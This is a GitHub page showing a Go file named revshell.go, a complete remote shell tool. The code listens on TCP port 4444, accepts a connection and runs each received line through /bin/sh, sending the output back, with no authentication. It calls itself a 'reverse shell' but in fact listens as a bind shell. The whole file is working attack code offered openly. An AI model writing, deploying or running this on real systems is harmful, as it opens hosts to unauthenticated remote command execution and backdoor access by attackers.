-
Notifications
You must be signed in to change notification settings - Fork 1
/
revshell.go
75 lines (60 loc) · 1.42 KB
/
revshell.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package main
import (
"fmt"
"net"
"os/exec"
"strings"
"bufio"
)
func main() {
port := 4444
// Start a listener
listener, err := net.Listen("tcp", fmt.Sprintf(":%d", port))
if err != nil {
fmt.Printf("Error starting listener: %s\n", err)
return
}
defer listener.Close()
fmt.Printf("Reverse shell listener started on port %d\n", port)
// Accept incoming connections
conn, err := listener.Accept()
if err != nil {
fmt.Printf("Error accepting connection: %s\n", err)
return
}
defer conn.Close()
fmt.Printf("Connection established from: %s\n", conn.RemoteAddr())
// Send a welcome message
fmt.Fprintln(conn, "Welcome to the reverse shell!")
// Create a command scanner
scanner := bufio.NewScanner(conn)
// Loop to read and execute commands
for {
fmt.Fprint(conn, "> ") // Custom prompt
// Read the command
if !scanner.Scan() {
break
}
command := scanner.Text()
// Trim newline character from the command
command = strings.TrimSpace(command)
// Execute the command
cmd := exec.Command("/bin/sh", "-c", command)
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
// Start the command
err = cmd.Start()
if err != nil {
fmt.Printf("Error starting command: %s\n", err)
break
}
// Wait for the command to finish
err = cmd.Wait()
if err != nil {
fmt.Printf("Error waiting for command to finish: %s\n", err)
break
}
}
fmt.Println("Shell session closed")
}